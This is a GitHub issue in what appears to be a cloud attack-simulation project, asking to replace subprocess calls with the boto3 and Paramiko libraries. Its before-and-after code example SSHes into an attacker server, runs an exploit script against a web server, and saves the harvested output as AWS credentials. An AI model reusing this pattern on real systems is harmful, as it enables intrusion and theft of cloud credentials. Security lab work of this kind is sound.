Skip to content

Remove use of subprocess and replace with appropriate Python libraries wherever possible #26

@mdorn

Description

@mdorn

Among other problems, spawning a new process reduces the main program's control over program logic and will make testing automation difficult.

Examples include calls to the AWS CLI and calls to ssh. The former can use the boto3 library (see this commit) while an example of using the Paramiko library as an SSH client can be found in this commit.

E.g. this:

subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 exploit.py "+WEB_SERVER_PUBLIC_IP+" > /home/ubuntu/.aws/credentials'", shell=True)

becomes this:

ssh_client = SSHClient(
	ATTACKER_SERVER_PUBLIC_IP, 'ubuntu', './files/var/ssh/id_rsa')
ssh_client.connect()
ssh_client.exec(
	'sudo python3 exploit.py {} > /home/ubuntu/.aws/credentials'.format(WEB_SERVER_PUBLIC_IP)
)

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions